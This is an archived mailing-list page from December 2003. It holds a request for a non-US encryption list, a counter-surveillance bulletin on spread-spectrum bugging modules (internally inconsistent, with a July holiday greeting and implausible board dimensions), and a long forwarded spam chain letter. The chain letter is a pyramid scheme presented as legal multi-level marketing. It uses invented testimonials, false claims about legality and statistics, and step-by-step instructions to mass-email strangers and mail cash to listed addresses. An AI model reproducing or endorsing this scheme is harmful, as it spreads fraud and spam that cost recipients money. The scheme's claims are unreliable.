>Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN >OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N >xLZKAHYvXWw= >=F09z >-----END PGP SIGNATURE----- > > >

1 0

non-US encryption
by Megan McCormack 17 Dec '03

17 Dec '03

I'm looking for a maillist for discussion of non-US encryption software. Their was one at braae.ru.ac.za which now apears to be defunct. Thanks, Megan ************** Chop wood, carry water, check e-mail ************ Megan McCormack http://www.asis.com/~meganm

1 0

TSCM Intelligence Update - Spread Spectrum Surveillance Modules
by James M. Atkinson, Comm-Eng 17 Dec '03

17 Dec '03

=========================================== TSCM-L Technical Security Mailing List Postings: TSCM-L(a)tscm.com Unsubscribe: unsubTSCM-L(a)tscm.com Subscribe: subTSCM-L(a)tscm.com Admin: jmatk(a)tscm.com =========================================== I will be taking off early this week so I can get a good start on the holiday this weekend. Happy 4th of July!! =============== New Spread Spectrum Surveillance Modules There are some new spread spectrum products coming into the US by way of China, and are starting to show up in Spy Shops on the West coast, Chicago, and Miami area. Two sided, four layer, surface mount PCB, several RF and audio IC's, several pots, coils, etc. Device is a raw module, designed for covert installations in an office or SOHO environment. SM connector for antenna, micro molex connector for power and computer/serial interface. PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick. Products are all based on a cordless telephone chip set, 780 Mhz to 980 Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?). Analysis of RF section indicates good response from 610 Mhz to 1090 Mhz. Serial data rates between 56 kb/s and 784 kb/s (12 full audio channels capable). Devices have a two way RS422 serial port to facilitate setup prior to field usage. Programmed RF power levels range is spec'd between 50mw and 250mw, suspect the circuits will operate as low as 5mw. Evaluation of the RF amp indicates that RF section should support a full watt of power with no problem. Recommended voltage is 3/6vdc, but circuit should work fine on 9 or 12vdc. Connections for two or three wire transducers. Audio path is thru pre-amp, compander, CODEC, and controller. Looks like it can support two elements, each with its own tunable preselector. Large amount of 60 hz filtering, suspect they were originally designed for installation into power strips (APC, Best, Woods, etc). Look for the low level multihump signature on the spectrum analyser, and take a REAL hard look at all surge protectors. Be sure to "box" all electrical artifacts encountered on a TSCM sweep. Well engineered, suspect cost to manuf. is under $35, should be popular, most of the spy shops are selling these for $1500 to $3000. More details to follow after the holiday, should have an update by that time regarding the VLF devices being built by Thompson, and E-Systems. - jma ======================================================================== "For those who risk, life has a flavor the protected shall never enjoy." ======================================================================== James M. Atkinson Phone: (508) 546-3803 Granite Island Group - TSCM.COM 127 Eastern Avenue #291 http://www.tscm.com/ Gloucester, MA 01931-8008 jmatk(a)tscm.com ======================================================================== The First, The Largest, The Most Popular, and The Most Complete TSCM Counterintelligence Site on the Internet ========================================================================

1 0

Can You Handle $50,000
by Anne 17 Dec '03

17 Dec '03

<HTML><PRE>CAN YOU HANDLE $50,000? First, please accept my apology if this was sent to you in error! You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....THEN READ AGAIN.... The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story! My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!! In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it. But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT". Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL". Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!! If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! Sincerely, Christopher Erickson P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! "THREW IT AWAY" I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try". Dawn W., Evansville, IN "NO FREE LUNCH" "My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me. Alan B., Philadelphia, PA A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$ Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher. THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing. INSTUCTIONS We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", please read the program very carefully! This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office. This is the GREATEST Multi-level Mail OrderMarketng anywhere: Step (1) ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER. Do this by ordering the REPORT from each of the four (4) names listed. For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC REPORT. International orders should also include $1 extra for postage. It is essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders. Step (2) REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!! Step (3) HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST, save it as Text (.txt) file in its own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4) EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM (ALL OF THIS IS VERY IMPORTANT) TO EVERYONE whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. That's what I did. And they love me now, more then ever. Then, email to anyone and everyone! Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists and services, mailing them for you. These are very inexpensive, 100,000 addresses for around $50.00 up. IMPORTANT: You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports. ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!! REQUIRED REPORTS **** Order each REPORT by NUMBER and NAME **** ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. **** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: THE "Z" COMPANY 1506 Audubon Place Shreveport, La. 71105 **** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT #2 FROM: KZT 1013 Speed Monroe, La. 71201 **** REPORT #3 "SOURCES FOR THE BEST MAILING LISTS" ORDER REPORT #3 FROM: SOUTHERN S. S. 1324 Chopin Bossier City, La. 71112 **** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS" ORDER REPORT #4 FROM: PREMIER CO. 115 Fielder Lane Shreveport, La. 71105 CONCLUSION! I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back. However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply. My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before". Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED". WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. Name your new company. You can use your own name if you desire. 2. Get a post office box (preferred). 3. Edit the names and addresses on the program. You MUST remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF. 4. Obtain as many addresses as possible to send until you receive the information on the mailing list companies in REPORT #3. 5. Decide on the number of programs you intend to send out. The more you send out and the quicker you send them, the more money you will make. 6. After mailing the programs, get ready to fill the orders. 7. Copy the four 4 REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU RECEIVE! 8. Make certain the letter and reports are neat and legible. YOUR GUARANTEE! The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES - ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!! REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING". "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE". GOOD LUCK! </PRE></HTML>

1 0